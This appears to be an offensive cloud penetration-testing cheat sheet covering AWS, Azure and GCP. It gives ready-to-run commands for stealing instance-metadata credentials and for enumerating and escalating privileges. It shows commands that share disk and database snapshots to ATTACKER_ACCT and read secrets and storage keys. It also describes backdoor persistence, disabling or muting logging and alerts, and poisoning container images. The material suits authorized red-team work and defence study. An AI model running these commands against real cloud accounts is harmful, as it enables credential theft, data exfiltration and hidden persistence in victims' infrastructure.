offensive-cloud

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

Quick Workflow

1. Identify the cloud and the identity context you have (user, role, service account, instance role)
2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
4. Find the data and the persistence anchors before alarms fire
5. Document the kill chain with timestamps, identities, and resources for the report

---

AWS

Identity Discovery

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

| Path | Required Permission | Outcome |

|------|---------------------|---------|

| iam:PassRole + lambda:CreateFunction | Pass any role to Lambda you create | Run code as that role |

| iam:PassRole + ec2:RunInstances | Pass any role to EC2 instance | IMDS → role creds |

| iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion | Edit your own policy | Self-elevate |

| iam:UpdateAssumeRolePolicy | On a privileged role | Add yourself as principal |

| iam:CreateLoginProfile (on user without one) | Set console password | Console access |

| iam:CreateAccessKey (on another user) | Mint keys for someone else | Persistent access |

| sts:AssumeRole with sts:TagSession to ABAC role | If role trusts session tags | Tag-based escalation |

| cloudformation:CreateStack + permissive role | Run any service action | Indirect arbitrary perms |

| glue:UpdateDevEndpoint | Inject SSH key into Glue endpoint | Code exec as Glue role |

| ssm:SendCommand to any instance | RCE on instances + their roles | Lateral + escalation |

# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

• CloudTrail to multi-region with log file validation — disable validation if you have perms
• GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
• VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

---

Azure

Identity Discovery

az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

| Path | Required Role / Permission | Outcome |

|------|---------------------------|---------|

| User Access Administrator on self/sub | Grant self Owner | Subscription Owner |

| App Registration owner | Add cert/secret, mint app-only tokens | App's permissions |

| Virtual Machine Contributor + Reader on KV | Run command on VM with MSI → KV | Secrets |

| Custom role with */write on RBAC | Edit role assignments | Self-elevate |

| Logic App contributor | Edit workflow → privileged action | Indirect any action |

| Automation Account contributor | RunBook with Run-As account | Run as RunAs identity |

| AAD Application Administrator | Assign app to high-priv role | Cloud admin via app |

| AAD Cloud Application Administrator | Same minus on-prem | Cloud admin |

| AAD Directory Synchronization Account | DCSync via AAD Connect | All on-prem hashes |

| Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |

# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

Data Targets

# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

Persistence

# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

Detection Evasion

• AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
• Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
• Defender for Cloud: alert suppression rules

---

GCP

Identity Discovery

gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

| Path | Required Permission | Outcome |

|------|---------------------|---------|

| iam.serviceAccountTokenCreator on SA | Mint tokens as SA | SA's perms |

| iam.serviceAccountUser + compute.instances.create | Pass SA to new VM | Run as SA via IMDS |

| iam.serviceAccountKeyAdmin | Create JSON key for any SA | Persistent SA creds |

| cloudbuild.builds.create | Build runs as Cloud Build SA (often Editor) | Editor on project |

| deploymentmanager.deployments.create | Runs as DM SA (often Owner) | Owner |

| cloudfunctions.functions.create + actAs | Pass any SA to function | Run as that SA |

| dataflow.jobs.create + actAs | Same pattern | SA's perms |

| iam.roles.update (custom roles) | Add permissions to a role you have | Self-elevate |

| resourcemanager.projects.setIamPolicy | Grant self any role | Owner |

# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

Data Targets

# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

Cross-Project / Folder Pivot

# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

---

Cross-Cloud Patterns

CI/CD as the Pivot

Most cloud takeovers in 2024-2025 start with CI tokens:

• GitHub Actions OIDC misconfigured → assume any AWS role with weak sub claim
• GitLab CI pushed to wrong branch → gains prod role
• Jenkins agent with cloud credentials in env

Test the OIDC trust policy claims carefully:

"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.

Secrets-in-Logs

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.

Container Registry Poisoning

ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.

---

Tooling Matrix

| Tool | AWS | Azure | GCP | Use |

|------|-----|-------|-----|-----|

| ScoutSuite | ✓ | ✓ | ✓ | Posture audit |

| Prowler | ✓ | ✓ | ✓ | CIS/PCI checks |

| Pacu | ✓ | | | Offensive framework |

| CloudGoat | ✓ | | | Vulnerable lab |

| BloodHound + AzureHound | | ✓ | | Graph-based escalation |

| ROADtools | | ✓ | | AAD recon + offline analysis |

| MicroBurst | | ✓ | | PS-based offensive |

| Stormspotter | | ✓ | | MS' own offensive enum |

| gcp_scanner | | | ✓ | Token-based recon |

| GCPBucketBrute | | | ✓ | GCS bucket discovery |

---

Engagement Cheatsheet

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

---

Key References

• AWS IAM permissions reference (boto3 docs)
• Azure RBAC built-in roles + actions list
• GCP IAM permissions reference
• HackTricks Cloud — ongoing reference for newest paths
• "Pacu" framework docs — pacu.aws.cloud
• MITRE ATT&CK Cloud Matrix
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md